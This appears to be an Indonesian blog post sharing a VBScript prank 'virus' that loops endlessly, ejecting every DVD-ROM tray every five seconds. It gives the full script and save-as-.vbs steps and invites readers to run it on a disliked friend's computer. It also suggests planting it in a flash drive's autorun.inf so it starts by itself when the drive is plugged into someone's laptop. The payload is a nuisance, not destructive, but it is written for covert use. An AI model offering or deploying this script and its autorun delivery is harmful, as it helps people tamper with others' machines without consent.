Virus DVD-ROM

Nih satu lagi code script untuk bikin virus yang sederhana, lumayan buat ngerjain temen yang gak kita suka..., hahahaha

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

1. Copas code diatas ke Notepad
2. Simpan filex berekstensi .vbs
3. Jalankan dikomputer temen yang pengen kita kerjain (tanggung jawab ya setelah itu, klo udah selesai ngerjain ya dipulihkan kembali donk).

Script diatas jika dijalankan akan memberikan instruksi kepada drive DVD-ROM untuk menutup dan membuka dengan sendirinya tanpa henti.

Salah satu cara untuk menghentikan script diatas adalah dengan menekan kombinasi tombol CTRL + ALT + DEL (membuka task manager) lalu matikan proses wscript.exe, bisa juga dijoin pada autorun.inf pada flashdisk, biar pada saat dicolokin ke laptop temen langsung jalan script-nya. Hahahahahaha...

Have fun and use it wisely

• Tweet
• Share
• Share
• Share
• Share

About Admin

Dengan segala macam kekurangan yang admin miliki tidak mengurungkan niat yang tulus untuk terus beraktitifitas menyingsingkan lengan baju mengisi hari-hari dalam kehidupan dunia fana yang berkesudahan. Bertopang dagu adalah hal yang sia-sia untuk dikerjakan oleh seorang manusia yang sempurna dimata Tuhan.

Related Post